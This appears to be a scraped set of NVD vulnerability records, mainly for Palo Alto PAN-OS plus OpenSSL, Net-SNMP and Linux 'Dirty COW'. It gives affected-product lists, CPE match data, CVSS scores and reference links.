openssl-security@openssl.orghttps://www.openssl.org/news/secadv/20190226.txtVendor Advisory
openssl-security@openssl.orghttps://www.oracle.com/security-alerts/cpujan2020.htmlThird Party Advisory
openssl-security@openssl.orghttps://www.oracle.com/security-alerts/cpujan2021.htmlThird Party Advisory
openssl-security@openssl.orghttps://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.htmlPatch, Third Party Advisory
openssl-security@openssl.orghttps://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.htmlPatch, Third Party Advisory
openssl-security@openssl.orghttps://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.htmlPatch, Third Party Advisory
openssl-security@openssl.orghttps://www.tenable.com/security/tns-2019-02Patch, Third Party Advisory
openssl-security@openssl.orghttps://www.tenable.com/security/tns-2019-03Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2019-03/msg00041.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00019.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00046.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00047.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00049.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00080.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/bid/107174Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2019:2304Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2019:2437Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2019:2439Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2019:2471Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2019:3929Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/errata/RHSA-2019:3931Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://git.openssl.org/gitweb/?p=openssl.git%3Ba=commitdiff%3Bh=e9bbefbf0f24c57645e7ad6a5a71ae649d18ac8e
af854a3a-2127-422b-91ae-364da2661108https://kc.mcafee.com/corporate/index?page=content&id=SB10282Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2019/03/msg00003.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EWC42UXL5GHTU5G77VKBF6JYUUNGSHOM/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Y3IVFGSERAZLNJCK35TEM2R4726XIH3Z/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZBEV5QGDRFUZDMNECFXUSN5FMYOZDE4V/
af854a3a-2127-422b-91ae-364da2661108https://security.gentoo.org/glsa/201903-10Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20190301-0001/Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20190301-0002/Broken Link, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20190423-0002/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.f5.com/csp/article/K18549143Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.f5.com/csp/article/K18549143?utm_source=f5support&amp%3Butm_medium=RSS
af854a3a-2127-422b-91ae-364da2661108https://usn.ubuntu.com/3899-1/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://usn.ubuntu.com/4376-2/Broken Link
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2019/dsa-4400Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openssl.org/news/secadv/20190226.txtVendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/security-alerts/cpujan2020.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/security-alerts/cpujan2021.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.htmlPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.tenable.com/security/tns-2019-02Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.tenable.com/security/tns-2019-03Third Party Advisory
Impacted products
Vendor Product Version
openssl openssl *
canonical ubuntu_linux 16.04
canonical ubuntu_linux 18.04
canonical ubuntu_linux 18.10
debian debian_linux 8.0
debian debian_linux 9.0
netapp active_iq_unified_manager *
netapp active_iq_unified_manager *
netapp active_iq_unified_manager -
netapp altavault -
netapp cloud_backup -
netapp clustered_data_ontap_antivirus_connector -
netapp element_software -
netapp hci_management_node -
netapp hyper_converged_infrastructure -
netapp oncommand_insight -
netapp oncommand_unified_manager -
netapp oncommand_unified_manager -
netapp oncommand_unified_manager_core_package -
netapp oncommand_workflow_automation -
netapp ontap_select_deploy -
netapp ontap_select_deploy_administration_utility -
netapp santricity_smi-s_provider -
netapp service_processor -
netapp smi-s_provider -
netapp snapcenter -
netapp snapdrive -
netapp snapdrive -
netapp snapprotect -
netapp solidfire -
netapp steelstore_cloud_integrated_storage -
netapp storage_automation_store -
netapp storagegrid *
netapp storagegrid -
netapp hci_compute_node -
f5 big-ip_access_policy_manager *
f5 big-ip_access_policy_manager *
f5 big-ip_access_policy_manager *
f5 big-ip_access_policy_manager *
f5 big-ip_advanced_firewall_manager *
f5 big-ip_advanced_firewall_manager *
f5 big-ip_advanced_firewall_manager *
f5 big-ip_advanced_firewall_manager *
f5 big-ip_analytics *
f5 big-ip_analytics *
f5 big-ip_analytics *
f5 big-ip_analytics *
f5 big-ip_application_acceleration_manager *
f5 big-ip_application_acceleration_manager *
f5 big-ip_application_acceleration_manager *
f5 big-ip_application_acceleration_manager *
f5 big-ip_application_security_manager *
f5 big-ip_application_security_manager *
f5 big-ip_application_security_manager *
f5 big-ip_application_security_manager *
f5 big-ip_domain_name_system *
f5 big-ip_domain_name_system *
f5 big-ip_domain_name_system *
f5 big-ip_domain_name_system *
f5 big-ip_edge_gateway *
f5 big-ip_edge_gateway *
f5 big-ip_edge_gateway *
f5 big-ip_edge_gateway *
f5 big-ip_fraud_protection_service *
f5 big-ip_fraud_protection_service *
f5 big-ip_fraud_protection_service *
f5 big-ip_fraud_protection_service *
f5 big-ip_global_traffic_manager *
f5 big-ip_global_traffic_manager *
f5 big-ip_global_traffic_manager *
f5 big-ip_global_traffic_manager *
f5 big-ip_link_controller *
f5 big-ip_link_controller *
f5 big-ip_link_controller *
f5 big-ip_link_controller *
f5 big-ip_local_traffic_manager *
f5 big-ip_local_traffic_manager *
f5 big-ip_local_traffic_manager *
f5 big-ip_local_traffic_manager *
f5 big-ip_policy_enforcement_manager *
f5 big-ip_policy_enforcement_manager *
f5 big-ip_policy_enforcement_manager *
f5 big-ip_policy_enforcement_manager *
f5 big-ip_webaccelerator *
f5 big-ip_webaccelerator *
f5 big-ip_webaccelerator *
f5 big-ip_webaccelerator *
f5 big-iq_centralized_management *
f5 big-iq_centralized_management *
f5 traffix_signaling_delivery_controller *
f5 traffix_signaling_delivery_controller 4.4.0
tenable nessus *
opensuse leap 15.0
opensuse leap 15.1
opensuse leap 42.3
netapp cn1610_firmware -
netapp cn1610 -
netapp a320_firmware -
netapp a320 -
netapp c190_firmware -
netapp c190 -
netapp a220_firmware -
netapp a220 -
netapp fas2720_firmware -
netapp fas2720 -
netapp fas2750_firmware -
netapp fas2750 -
netapp a800_firmware -
netapp a800 -
fedoraproject fedora 29
fedoraproject fedora 30
fedoraproject fedora 31
mcafee agent *
mcafee data_exchange_layer *
mcafee threat_intelligence_exchange_server *
mcafee web_gateway *
redhat jboss_enterprise_web_server 5.0.0
redhat enterprise_linux 6.0
redhat enterprise_linux 7.0
redhat enterprise_linux 8.0
redhat virtualization 4.0
redhat virtualization_host 4.0
redhat enterprise_linux 7.0
redhat enterprise_linux_desktop 6.0
redhat enterprise_linux_desktop 7.0
redhat enterprise_linux_server 6.0
redhat enterprise_linux_server 7.0
redhat enterprise_linux_workstation 6.0
redhat enterprise_linux_workstation 7.0
oracle api_gateway 11.1.2.4.0
oracle business_intelligence 11.1.1.9.0
oracle business_intelligence 12.2.1.3.0
oracle business_intelligence 12.2.1.4.0
oracle communications_diameter_signaling_router 8.0.0
oracle communications_diameter_signaling_router 8.1
oracle communications_diameter_signaling_router 8.2
oracle communications_diameter_signaling_router 8.3
oracle communications_diameter_signaling_router 8.4
oracle communications_performance_intelligence_center 10.4.0.2
oracle communications_session_border_controller 7.4
oracle communications_session_border_controller 8.0.0
oracle communications_session_border_controller 8.1.0
oracle communications_session_border_controller 8.2
oracle communications_session_border_controller 8.3
oracle communications_session_router 7.4
oracle communications_session_router 8.0
oracle communications_session_router 8.1
oracle communications_session_router 8.2
oracle communications_session_router 8.3
oracle communications_unified_session_manager 7.3.5
oracle communications_unified_session_manager 8.2.5
oracle endeca_server 7.7.0
oracle enterprise_manager_base_platform 12.1.0.5.0
oracle enterprise_manager_base_platform 13.2.0.0.0
oracle enterprise_manager_base_platform 13.3.0.0.0
oracle enterprise_manager_ops_center 12.3.3
oracle enterprise_manager_ops_center 12.4.0
oracle jd_edwards_enterpriseone_tools 9.2
oracle jd_edwards_world_security a9.3
oracle jd_edwards_world_security a9.3.1
oracle jd_edwards_world_security a9.4
oracle mysql *
oracle mysql *
oracle mysql *
oracle mysql_enterprise_monitor *
oracle mysql_enterprise_monitor *
oracle mysql_workbench *
oracle peoplesoft_enterprise_peopletools 8.55
oracle peoplesoft_enterprise_peopletools 8.56
oracle peoplesoft_enterprise_peopletools 8.57
oracle secure_global_desktop 5.4
oracle services_tools_bundle 19.2
paloaltonetworks pan-os *
paloaltonetworks pan-os *
paloaltonetworks pan-os *
paloaltonetworks pan-os *
nodejs node.js *
nodejs node.js *
nodejs node.js *
nodejs node.js *



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              "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:lts:*:*:*",
              "matchCriteriaId": "FD2FB20C-EC88-4CD3-BC6E-1E65FAFADC36",
              "versionEndExcluding": "6.17.0",
              "versionStartIncluding": "6.9.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:-:*:*:*",
              "matchCriteriaId": "74FB695D-2C76-47AB-988E-5629D2E695E5",
              "versionEndIncluding": "8.8.1",
              "versionStartIncluding": "8.0.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:nodejs:node.js:*:*:*:*:lts:*:*:*",
              "matchCriteriaId": "A94F4836-1873-43F4-916E-9D9B302A053A",
              "versionEndExcluding": "8.15.1",
              "versionStartIncluding": "8.9.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "If an application encounters a fatal protocol error and then calls SSL_shutdown() twice (once to send a close_notify, and once to receive one) then OpenSSL can respond differently to the calling application if a 0 byte record is received with invalid padding compared to if a 0 byte record is received with an invalid MAC. If the application then behaves differently based on that in a way that is detectable to the remote peer, then this amounts to a padding oracle that could be used to decrypt data. In order for this to be exploitable \"non-stitched\" ciphersuites must be in use. Stitched ciphersuites are optimised implementations of certain commonly used ciphersuites. Also the application must call SSL_shutdown() twice even if a protocol error has occurred (applications should not do this but some do anyway). Fixed in OpenSSL 1.0.2r (Affected 1.0.2-1.0.2q)."
    },
    {
      "lang": "es",
      "value": "Si una aplicaci\u00f3n encuentra un error de protocolo \"fatal\" y llama a SSL_shutdown() dos veces (una vez para enviar un close_notify y otra vez para recibir uno de \u00e9stos), posteriormente OpenSLL puede responder de manera diferente a la aplicaci\u00f3n llamante si un registro de 0 byte se recibe con un relleno inv\u00e1lido, comparado con si un registro de 0 bytes se recibe con un MAC inv\u00e1lido."
    }
  ],
  "id": "CVE-2019-1559",
  "lastModified": "2024-11-21T04:36:48.960",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "MEDIUM",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 8.6,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.9,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2019-02-27T23:29:00.277",
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    },
    {
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        "Third Party Advisory"
      ],
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
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      "tags": [
        "Patch",
        "Third Party Advisory"
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      "url": "https://www.tenable.com/security/tns-2019-02"
    },
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      "url": "https://www.tenable.com/security/tns-2019-03"
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  ],
  "sourceIdentifier": "openssl-security@openssl.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-203"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2024-09-11 17:15
Modified
2024-10-03 01:35
Summary
A command injection vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as root on the firewall.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "833C7D25-ED1A-489B-9B20-4D3BEC27F09F",
              "versionEndIncluding": "11.2.2",
              "versionStartIncluding": "11.2.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "A command injection vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as root on the firewall."
    },
    {
      "lang": "es",
      "value": "Una vulnerabilidad de inyecci\u00f3n de comandos en el software PAN-OS de Palo Alto Networks permite a un administrador autenticado eludir las restricciones del sistema y ejecutar comandos arbitrarios como superusuario en el firewall."
    }
  ],
  "id": "CVE-2024-8686",
  "lastModified": "2024-10-03T01:35:10.317",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
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Vulnerability from fkie_nvd
Published
2024-02-14 18:15
Modified
2024-12-09 15:05
Summary
A reflected cross-site scripting (XSS) vulnerability in the Captive Portal feature of Palo Alto Networks PAN-OS software enables execution of malicious JavaScript (in the context of an authenticated Captive Portal user’s browser) if a user clicks on a malicious link, allowing phishing attacks that could lead to credential theft.



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Vulnerability from fkie_nvd
Published
2020-06-10 18:15
Modified
2024-11-21 05:24
Summary
An OS Command Injection vulnerability in the PAN-OS web management interface allows authenticated administrators to execute arbitrary OS commands with root privileges by sending a malicious request to generate new certificates for use in the PAN-OS configuration. This issue affects: All versions of PAN-OS 8.0; PAN-OS 7.1 versions earlier than PAN-OS 7.1.26; PAN-OS 8.1 versions earlier than PAN-OS 8.1.13.
Impacted products



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Vulnerability from fkie_nvd
Published
2018-10-08 18:29
Modified
2024-11-21 03:55
Summary
_set_key in agent/helpers/table_container.c in Net-SNMP before 5.8 has a NULL Pointer Exception bug that can be used by an authenticated attacker to remotely cause the instance to crash via a crafted UDP packet, resulting in Denial of Service.
References
cve@mitre.orghttp://www.securityfocus.com/bid/106265Third Party Advisory, VDB Entry
cve@mitre.orghttps://cert-portal.siemens.com/productcert/pdf/ssa-978220.pdf
cve@mitre.orghttps://dumpco.re/blog/net-snmp-5.7.3-remote-dosExploit, Patch, Third Party Advisory
cve@mitre.orghttps://security.netapp.com/advisory/ntap-20181107-0001/Third Party Advisory
cve@mitre.orghttps://security.paloaltonetworks.com/CVE-2018-18065
cve@mitre.orghttps://sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d/Patch, Third Party Advisory
cve@mitre.orghttps://usn.ubuntu.com/3792-1/Third Party Advisory
cve@mitre.orghttps://usn.ubuntu.com/3792-2/Third Party Advisory
cve@mitre.orghttps://usn.ubuntu.com/3792-3/Third Party Advisory
cve@mitre.orghttps://www.debian.org/security/2018/dsa-4314Third Party Advisory
cve@mitre.orghttps://www.exploit-db.com/exploits/45547/Exploit, Patch, Third Party Advisory, VDB Entry
cve@mitre.orghttps://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/bid/106265Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://cert-portal.siemens.com/productcert/pdf/ssa-978220.pdf
af854a3a-2127-422b-91ae-364da2661108https://dumpco.re/blog/net-snmp-5.7.3-remote-dosExploit, Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20181107-0001/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.paloaltonetworks.com/CVE-2018-18065
af854a3a-2127-422b-91ae-364da2661108https://sourceforge.net/p/net-snmp/code/ci/7ffb8e25a0db851953155de91f0170e9bf8c457d/Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://usn.ubuntu.com/3792-1/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://usn.ubuntu.com/3792-2/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://usn.ubuntu.com/3792-3/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2018/dsa-4314Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.exploit-db.com/exploits/45547/Exploit, Patch, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html



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    },
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      "value": "_set_key en agent/helpers/table_container.c en Net-SNMP en versiones anteriores a la 5.8 tiene un error de excepci\u00f3n de puntero NULL que puede ser empleado por un atacante autenticado para provocar el cierre inesperado de la instancia de forma remota mediante un paquete UDP manipulado, lo que resulta en una denegaci\u00f3n de servicio (DoS)."
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  ]
}

Vulnerability from fkie_nvd
Published
2017-09-07 13:29
Modified
2024-11-21 03:09
Summary
Cross-site scripting (XSS) vulnerability in the GlobalProtect internal and external gateway interface in Palo Alto Networks PAN-OS before 6.1.18, 7.0.x before 7.0.17, 7.1.x before 7.1.12, and 8.0.x before 8.0.3 allows remote attackers to inject arbitrary web script or HTML via vectors related to improper request parameter validation.



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Vulnerability from fkie_nvd
Published
2023-12-13 19:15
Modified
2024-11-21 08:44
Summary
An arbitrary file upload vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-write administrator with access to the web interface to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.
Impacted products



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  "published": "2023-12-13T19:15:10.240",
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}

Vulnerability from fkie_nvd
Published
2017-08-02 19:29
Modified
2024-11-21 03:36
Summary
Cross-site scripting (XSS) vulnerability in the GlobalProtect external interface in Palo Alto Networks PAN-OS before 6.1.18, 7.x before 7.0.16, 7.1.x before 7.1.11, and 8.x before 8.0.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.



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Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
An information exposure through log file vulnerability where an administrator's password or other sensitive information may be logged in cleartext while using the CLI in Palo Alto Networks PAN-OS software. The opcmdhistory.log file was introduced to track operational command (op-command) usage but did not mask all sensitive information. The opcmdhistory.log file is removed in PAN-OS 9.1 and later PAN-OS versions. Command usage is recorded, instead, in the req_stats.log file in PAN-OS 9.1 and later PAN-OS versions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3.



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Vulnerability from fkie_nvd
Published
2019-08-23 18:15
Modified
2024-11-21 04:36
Severity ?
Summary
A remote code execution vulnerability in the PAN-OS SSH device management interface that can lead to unauthenticated remote users with network access to the SSH management interface gaining root access to PAN-OS. This issue affects PAN-OS 7.1 versions prior to 7.1.24-h1, 7.1.25; 8.0 versions prior to 8.0.19-h1, 8.0.20; 8.1 versions prior to 8.1.9-h4, 8.1.10; 9.0 versions prior to 9.0.3-h3, 9.0.4.



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  ],
  "id": "CVE-2019-1581",
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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 and 4.1.x before 4.1.1 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 33476.



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  "id": "CVE-2012-6599",
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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An OS command injection vulnerability in the management server component of PAN-OS allows an authenticated user to potentially execute arbitrary commands with root privileges. This issue affects: All PAN-OS 7.1 versions; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.



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Vulnerability from fkie_nvd
Published
2021-09-08 17:15
Modified
2024-11-21 06:20
Summary
An improper handling of exceptional conditions vulnerability exists in the Palo Alto Networks PAN-OS dataplane that enables an unauthenticated network-based attacker to send specifically crafted traffic through the firewall that causes the service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.5. This issue does not affect Prisma Access.



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        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2021-3053"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://security.paloaltonetworks.com/CVE-2021-3053"
    }
  ],
  "sourceIdentifier": "psirt@paloaltonetworks.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-755"
        }
      ],
      "source": "psirt@paloaltonetworks.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-755"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd
Published
2016-11-10 21:59
Modified
2024-11-21 02:53
Summary
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
References
chrome-cve-admin@google.comhttp://fortiguard.com/advisory/FG-IR-16-063Third Party Advisory
chrome-cve-admin@google.comhttp://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619Issue Tracking, Patch, Vendor Advisory
chrome-cve-admin@google.comhttp://kb.juniper.net/InfoCenter/index?page=content&id=JSA10770Third Party Advisory
chrome-cve-admin@google.comhttp://kb.juniper.net/InfoCenter/index?page=content&id=JSA10774Third Party Advisory
chrome-cve-admin@google.comhttp://kb.juniper.net/InfoCenter/index?page=content&id=JSA10807Third Party Advisory
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00034.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00035.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00036.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00038.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00039.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00040.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00045.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00048.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00049.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00050.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00051.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00052.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00053.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00054.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00055.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00056.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00057.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00058.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00063.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00064.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00065.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00066.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00067.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00072.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-12/msg00033.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2016-12/msg00100.htmlMailing List
chrome-cve-admin@google.comhttp://lists.opensuse.org/opensuse-security-announce/2020-04/msg00041.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://packetstormsecurity.com/files/139277/Kernel-Live-Patch-Security-Notice-LSN-0012-1.htmlExploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://packetstormsecurity.com/files/139286/DirtyCow-Linux-Kernel-Race-Condition.htmlExploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://packetstormsecurity.com/files/139287/DirtyCow-Local-Root-Proof-Of-Concept.htmlExploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://packetstormsecurity.com/files/139922/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlExploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://packetstormsecurity.com/files/139923/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlExploit, Third Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://packetstormsecurity.com/files/142151/Kernel-Live-Patch-Security-Notice-LSN-0021-1.htmlThird Party Advisory, VDB Entry
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2098.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2105.htmlThird Party Advisory
chrome-cve-admin@google.comhttp://rhn.redhat.com/errata/RHSA-2016-2106.htmlThird Party Advisory
